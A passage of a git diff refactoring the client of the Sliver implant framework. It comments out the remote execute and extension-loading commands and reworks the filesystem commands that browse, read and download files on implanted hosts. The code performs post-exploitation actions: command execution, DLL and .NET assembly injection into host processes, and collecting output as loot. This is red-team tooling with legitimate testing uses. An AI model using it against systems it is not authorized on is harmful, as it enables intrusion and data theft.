+// }
- cmdPath := ctx.Args.String("command")
- args := ctx.Args.StringList("arguments")
- output := ctx.Flags.Bool("silent")
- token := ctx.Flags.Bool("token")
- var exec *sliverpb.Execute
- var err error
- if token {
- exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
- Request: ActiveSession.Request(ctx),
- Path: cmdPath,
- Args: args,
- Output: !output,
- })
- } else {
- exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
- Request: ActiveSession.Request(ctx),
- Path: cmdPath,
- Args: args,
- Output: !output,
- })
- }
+// cmdPath := ctx.Args.String("command")
+// args := ctx.Args.StringList("arguments")
+// output := ctx.Flags.Bool("silent")
+// token := ctx.Flags.Bool("token")
+// var exec *sliverpb.Execute
+// var err error
+// if token {
+// exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
+// Request: ActiveSession.Request(ctx),
+// Path: cmdPath,
+// Args: args,
+// Output: !output,
+// })
+// } else {
+// exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+// Request: ActiveSession.Request(ctx),
+// Path: cmdPath,
+// Args: args,
+// Output: !output,
+// })
+// }
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- } else if !output {
- if exec.Status != 0 {
- fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
- if exec.Result != "" {
- fmt.Printf(Info+"Output:\n%s\n", exec.Result)
- }
- } else {
- fmt.Printf(Info+"Output:\n%s\n", exec.Result)
- if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
- name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
- err = AddLootFile(rpc, name, "console.txt", []byte(exec.Result), false)
- if err != nil {
- fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
- } else {
- fmt.Printf(clearln + Info + "Output saved as loot\n")
- }
- }
- }
- }
-}
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// } else if !output {
+// if exec.Status != 0 {
+// fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
+// if exec.Result != "" {
+// fmt.Printf(Info+"Output:\n%s\n", exec.Result)
+// }
+// } else {
+// fmt.Printf(Info+"Output:\n%s\n", exec.Result)
+// if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
+// name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+// err = AddLootFile(rpc, name, "console.txt", []byte(exec.Result), false)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
+// } else {
+// fmt.Printf(clearln + Info + "Output saved as loot\n")
+// }
+// }
+// }
+// }
+// }
diff --git a/client/command/extensions.go b/client/command/extensions.go
index 29092b4a1f..2afa10b4ff 100644
--- a/client/command/extensions.go
+++ b/client/command/extensions.go
@@ -1,336 +1,336 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "encoding/json"
- "fmt"
- "io/ioutil"
- "os"
- "path"
- "path/filepath"
- "strings"
+// import (
+// "context"
+// "encoding/json"
+// "fmt"
+// "io/ioutil"
+// "os"
+// "path"
+// "path/filepath"
+// "strings"
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/client/help"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// consts "github.com/bishopfox/sliver/client/constants"
+// "github.com/bishopfox/sliver/client/help"
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
-const (
- windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
- linuxDefaultHostProc = "/bin/bash"
- macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
+// const (
+// windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+// linuxDefaultHostProc = "/bin/bash"
+// macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+// )
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
- "windows": windowsDefaultHostProc,
- "linux": windowsDefaultHostProc,
- "darwin": macosDefaultHostProc,
-}
+// var commandMap map[string]extension
+// var defaultHostProc = map[string]string{
+// "windows": windowsDefaultHostProc,
+// "linux": windowsDefaultHostProc,
+// "darwin": macosDefaultHostProc,
+// }
-type binFiles struct {
- Ext64Path string `json:"x64"`
- Ext32Path string `json:"x86"`
-}
+// type binFiles struct {
+// Ext64Path string `json:"x64"`
+// Ext32Path string `json:"x86"`
+// }
-type extFile struct {
- OS string `json:"os"`
- Files binFiles `json:"files"`
-}
+// type extFile struct {
+// OS string `json:"os"`
+// Files binFiles `json:"files"`
+// }
-type extensionCommand struct {
- Name string `json:"name"`
- Entrypoint string `json:"entrypoint"`
- Help string `json:"help"`
- LongHelp string `json:"longHelp"`
- AllowArgs bool `json:"allowArgs"`
- DefaultArgs string `json:"defaultArgs"`
- ExtensionFiles []extFile `json:"extFiles"`
- IsReflective bool `json:"isReflective"`
- IsAssembly bool `json:"IsAssembly"`
-}
+// type extensionCommand struct {
+// Name string `json:"name"`
+// Entrypoint string `json:"entrypoint"`
+// Help string `json:"help"`
+// LongHelp string `json:"longHelp"`
+// AllowArgs bool `json:"allowArgs"`
+// DefaultArgs string `json:"defaultArgs"`
+// ExtensionFiles []extFile `json:"extFiles"`
+// IsReflective bool `json:"isReflective"`
+// IsAssembly bool `json:"IsAssembly"`
+// }
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
- proc, ok := defaultHostProc[targetOS]
- if !ok {
- err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
- }
- return
-}
+// func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+// proc, ok := defaultHostProc[targetOS]
+// if !ok {
+// err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+// }
+// return
+// }
-type extension struct {
- Name string `json:"extensionName"`
- Commands []extensionCommand `json:"extensionCommands"`
- Path string
-}
+// type extension struct {
+// Name string `json:"extensionName"`
+// Commands []extensionCommand `json:"extensionCommands"`
+// Path string
+// }
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
- for _, c := range e.Commands {
- if cmdName == c.Name {
- for _, ef := range c.ExtensionFiles {
- if targetOS == ef.OS {
- switch targetArch {
- case "x86":
- filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
- case "x64":
- filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
- default:
- filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
- }
- }
- }
+// func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+// for _, c := range e.Commands {
+// if cmdName == c.Name {
+// for _, ef := range c.ExtensionFiles {
+// if targetOS == ef.OS {
+// switch targetArch {
+// case "x86":
+// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
+// case "x64":
+// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
+// default:
+// filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
+// }
+// }
+// }
- }
- }
- if filePath == "" {
- err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
- }
- return
-}
+// }
+// }
+// if filePath == "" {
+// err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+// }
+// return
+// }
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
- for _, x := range e.Commands {
- if x.Name == name {
- extCmd = &x
- return
- }
- }
- err = fmt.Errorf("no extension command found for name %s", name)
- return
-}
+// func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
+// for _, x := range e.Commands {
+// if x.Name == name {
+// extCmd = &x
+// return
+// }
+// }
+// err = fmt.Errorf("no extension command found for name %s", name)
+// return
+// }
-func loadExtension(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// func loadExtension(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- dirPath := ctx.Args.String("dir-path")
- if dirPath == "" {
- fmt.Printf(Warn + "Please provide an extension path\n")
- return
- }
+// dirPath := ctx.Args.String("dir-path")
+// if dirPath == "" {
+// fmt.Printf(Warn + "Please provide an extension path\n")
+// return
+// }
- // retrieve extension manifest
- manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
- jsonBytes, err := ioutil.ReadFile(manifestPath)
- if err != nil {
- fmt.Printf(Warn+"%v", err)
- }
- // parse it
- ext := &extension{}
- err = json.Unmarshal(jsonBytes, ext)
- if err != nil {
- fmt.Printf(Warn+"error loading extension: %v", err)
- return
- }
- ext.Path = dirPath
- // for each extension command, add a new app command
- for _, extCmd := range ext.Commands {
- // do not add if the command already exists
- if cmdExists(extCmd.Name, ctx.App) {
- fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
- return
- }
- fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
+// // retrieve extension manifest
+// manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+// jsonBytes, err := ioutil.ReadFile(manifestPath)
+// if err != nil {
+// fmt.Printf(Warn+"%v", err)
+// }
+// // parse it
+// ext := &extension{}
+// err = json.Unmarshal(jsonBytes, ext)
+// if err != nil {
+// fmt.Printf(Warn+"error loading extension: %v", err)
+// return
+// }
+// ext.Path = dirPath
+// // for each extension command, add a new app command
+// for _, extCmd := range ext.Commands {
+// // do not add if the command already exists
+// if cmdExists(extCmd.Name, ctx.App) {
+// fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
+// return
+// }
+// fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
- // Have to use a global map here, as passing the extCmd
- // either by value or by ref fucks things up
- commandMap[extCmd.Name] = *ext
- helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
- extArgs := func(a *grumble.Args) {}
- if extCmd.AllowArgs {
- extArgs = func(a *grumble.Args) {
- a.StringList("arguments", "arguments", grumble.Default([]string{}))
- }
- }
- ctx.App.AddCommand(&grumble.Command{
- Name: extCmd.Name,
- Help: helpMsg,
- LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
- Args: extArgs,
- Run: func(extCtx *grumble.Context) error {
- fmt.Println()
- runExtensionCommand(extCtx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- if extCmd.IsAssembly {
- f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
- f.String("c", "class", "", "Optional class name (required for .NET DLL)")
- f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
- f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
- }
- f.String("p", "process", "", "Path to process to host the shared object")
- f.Bool("s", "save", false, "Save output to disk")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.ExtensionHelpGroup,
- })
- }
- fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
-}
+// // Have to use a global map here, as passing the extCmd
+// // either by value or by ref fucks things up
+// commandMap[extCmd.Name] = *ext
+// helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+// extArgs := func(a *grumble.Args) {}
+// if extCmd.AllowArgs {
+// extArgs = func(a *grumble.Args) {
+// a.StringList("arguments", "arguments", grumble.Default([]string{}))
+// }
+// }
+// ctx.App.AddCommand(&grumble.Command{
+// Name: extCmd.Name,
+// Help: helpMsg,
+// LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+// Args: extArgs,
+// Run: func(extCtx *grumble.Context) error {
+// fmt.Println()
+// runExtensionCommand(extCtx, rpc)
+// fmt.Println()
+// return nil
+// },
+// Flags: func(f *grumble.Flags) {
+// if extCmd.IsAssembly {
+// f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+// f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+// f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+// f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+// }
+// f.String("p", "process", "", "Path to process to host the shared object")
+// f.Bool("s", "save", false, "Save output to disk")
+// f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+// },
+// HelpGroup: consts.ExtensionHelpGroup,
+// })
+// }
+// fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
+// }
-func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- ext, ok := commandMap[ctx.Command.Name]
- if !ok {
- fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
- return
- }
+// func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// ext, ok := commandMap[ctx.Command.Name]
+// if !ok {
+// fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
+// return
+// }
- binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
+// binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
- c, err := ext.getCommandFromName(ctx.Command.Name)
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
+// c, err := ext.getCommandFromName(ctx.Command.Name)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
- var args string
- if len(c.DefaultArgs) != 0 {
- args = c.DefaultArgs
- }
- if len(ctx.Args.StringList("arguments")) > 0 {
- args = strings.Join(ctx.Args.StringList("arguments"), " ")
- }
+// var args string
+// if len(c.DefaultArgs) != 0 {
+// args = c.DefaultArgs
+// }
+// if len(ctx.Args.StringList("arguments")) > 0 {
+// args = strings.Join(ctx.Args.StringList("arguments"), " ")
+// }
- entryPoint := c.Entrypoint
- processName := ctx.Flags.String("process")
- if processName == "" {
- processName, err = c.getDefaultProcess(session.GetOS())
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- }
- isDLL := false
- if filepath.Ext(binPath) == ".dll" {
- isDLL = true
- }
- binData, err := ioutil.ReadFile(binPath)
- if err != nil {
- fmt.Printf(Warn+"%s", err.Error())
- return
- }
- var outFilePath *os.File
- if ctx.Flags.Bool("save") {
- outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
- outFilePath, err = ioutil.TempFile("", outFile)
- }
- if c.IsAssembly {
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
- go spin.Until(msg, ctrl)
- executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
- Request: ActiveSession.Request(ctx),
- IsDLL: isDLL,
- Process: processName,
- Arguments: args,
- Assembly: binData,
- Arch: ctx.Flags.String("arch"),
- Method: ctx.Flags.String("method"),
- ClassName: ctx.Flags.String("class"),
- AppDomain: ctx.Flags.String("app-domain"),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
- if outFilePath != nil {
- outFilePath.Write(executeAssemblyResp.GetOutput())
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
- } else if c.IsReflective {
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
- go spin.Until(msg, ctrl)
- spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
- Request: ActiveSession.Request(ctx),
- Args: strings.Trim(args, " "),
- Data: binData,
- ProcessName: processName,
- EntryPoint: c.Entrypoint,
- Kill: true,
- })
- ctrl <- true
- <-ctrl
+// entryPoint := c.Entrypoint
+// processName := ctx.Flags.String("process")
+// if processName == "" {
+// processName, err = c.getDefaultProcess(session.GetOS())
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// }
+// isDLL := false
+// if filepath.Ext(binPath) == ".dll" {
+// isDLL = true
+// }
+// binData, err := ioutil.ReadFile(binPath)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err.Error())
+// return
+// }
+// var outFilePath *os.File
+// if ctx.Flags.Bool("save") {
+// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+// outFilePath, err = ioutil.TempFile("", outFile)
+// }
+// if c.IsAssembly {
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+// go spin.Until(msg, ctrl)
+// executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+// Request: ActiveSession.Request(ctx),
+// IsDLL: isDLL,
+// Process: processName,
+// Arguments: args,
+// Assembly: binData,
+// Arch: ctx.Flags.String("arch"),
+// Method: ctx.Flags.String("method"),
+// ClassName: ctx.Flags.String("class"),
+// AppDomain: ctx.Flags.String("app-domain"),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
+// if outFilePath != nil {
+// outFilePath.Write(executeAssemblyResp.GetOutput())
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+// } else if c.IsReflective {
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+// go spin.Until(msg, ctrl)
+// spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+// Request: ActiveSession.Request(ctx),
+// Args: strings.Trim(args, " "),
+// Data: binData,
+// ProcessName: processName,
+// EntryPoint: c.Entrypoint,
+// Kill: true,
+// })
+// ctrl <- true
+// <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
- if outFilePath != nil {
- outFilePath.Write([]byte(spawnDllResp.GetResult()))
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
- } else {
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
- go spin.Until(msg, ctrl)
- sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
- Request: ActiveSession.Request(ctx),
- Args: args,
- Data: binData,
- EntryPoint: entryPoint,
- ProcessName: processName,
- Kill: true,
- })
- ctrl <- true
- <-ctrl
+// fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
+// if outFilePath != nil {
+// outFilePath.Write([]byte(spawnDllResp.GetResult()))
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+// } else {
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
+// go spin.Until(msg, ctrl)
+// sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+// Request: ActiveSession.Request(ctx),
+// Args: args,
+// Data: binData,
+// EntryPoint: entryPoint,
+// ProcessName: processName,
+// Kill: true,
+// })
+// ctrl <- true
+// <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
- if outFilePath != nil {
- outFilePath.Write([]byte(sideloadResp.GetResult()))
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
- }
-}
+// fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
+// if outFilePath != nil {
+// outFilePath.Write([]byte(sideloadResp.GetResult()))
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+// }
+// }
-func cmdExists(name string, app *grumble.App) bool {
- for _, c := range app.Commands().All() {
- if name == c.Name {
- return true
- }
- }
- return false
-}
+// func cmdExists(name string, app *grumble.App) bool {
+// for _, c := range app.Commands().All() {
+// if name == c.Name {
+// return true
+// }
+// }
+// return false
+// }
-func init() {
- commandMap = make(map[string]extension)
-}
+// func init() {
+// commandMap = make(map[string]extension)
+// }
diff --git a/client/command/filesystem.go b/client/command/filesystem/filesystem.go
similarity index 56%
rename from client/command/filesystem.go
rename to client/command/filesystem/filesystem.go
index 5df43ce55b..2215026348 100644
--- a/client/command/filesystem.go
+++ b/client/command/filesystem/filesystem.go
@@ -21,6 +21,7 @@ package command
import (
"context"
"fmt"
+ "io"
"io/ioutil"
"os"
"path"
@@ -31,8 +32,8 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
+ "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
@@ -41,30 +42,30 @@ import (
"github.com/desertbit/grumble"
)
-func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Ls(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
remotePath := ctx.Args.String("path")
- ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
- Request: ActiveSession.Request(ctx),
+ ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+ Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintWarnf("%s\n", err)
} else {
- printDirList(ls)
+ PrintDirList(con.App.Stdout(), ls)
}
}
-func printDirList(dirList *sliverpb.Ls) {
- fmt.Printf("%s\n", dirList.Path)
- fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
+func PrintDirList(stdout io.Writer, dirList *sliverpb.Ls) {
+ fmt.Fprintf(stdout, "%s\n", dirList.Path)
+ fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(dirList.Path)))
- table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+ table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range dirList.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t
\t\n", fileInfo.Name)
@@ -75,8 +76,8 @@ func printDirList(dirList *sliverpb.Ls) {
table.Flush()
}
-func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Rm(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -84,25 +85,25 @@ func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
filePath := ctx.Args.String("path")
if filePath == "" {
- fmt.Printf(Warn + "Missing parameter: file or directory name\n")
+ con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
- rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
- Request: ActiveSession.Request(ctx),
+ rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
+ Request: con.ActiveSession.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
} else {
- fmt.Printf(Info+"%s\n", rm.Path)
+ con.PrintInfof("%s\n", rm.Path)
}
}
-func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Mkdir(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -110,79 +111,79 @@ func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
filePath := ctx.Args.String("path")
if filePath == "" {
- fmt.Printf(Warn + "Missing parameter: directory name\n")
+ con.PrintErrorf("Missing parameter: directory name\n")
return
}
- mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
- Request: ActiveSession.Request(ctx),
+ mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
+ Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
} else {
- fmt.Printf(Info+"%s\n", mkdir.Path)
+ con.PrintInfof("%s\n", mkdir.Path)
}
}
-func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Cd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
- pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
- Request: ActiveSession.Request(ctx),
+ pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
+ Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
} else {
- fmt.Printf(Info+"%s\n", pwd.Path)
+ con.PrintInfof("%s\n", pwd.Path)
}
}
-func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Pwd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
- pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
- Request: ActiveSession.Request(ctx),
+ pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
+ Request: con.ActiveSession.Request(ctx),
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
} else {
- fmt.Printf(Info+"%s\n", pwd.Path)
+ con.PrintInfof("%s\n", pwd.Path)
}
}
-func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Cat(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
- fmt.Printf(Warn + "Missing parameter: file name\n")
+ con.PrintErrorf("Missing parameter: file name\n")
return
}
- download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
- Request: ActiveSession.Request(ctx),
+ download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+ Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
return
}
}
@@ -193,14 +194,14 @@ func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
} else {
fmt.Println(string(download.Data))
}
- if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
- err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
- if err != nil {
- fmt.Printf(Warn+"Failed to save output as loot: %s", err)
- } else {
- fmt.Printf(clearln + Info + "Output saved as loot\n")
- }
- }
+ // if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
+ // err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
+ // if err != nil {
+ // con.PrintErrorf("Failed to save output as loot: %s", err)
+ // } else {
+ // fmt.Printf(clearln + Info + "Output saved as loot\n")
+ // }
+ // }
}
func colorize(f *sliverpb.Download) error {
@@ -234,8 +235,8 @@ func colorize(f *sliverpb.Download) error {
return nil
}
-func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Download(ctx *grumble.Context, con *console.SliverConsoleClient) {
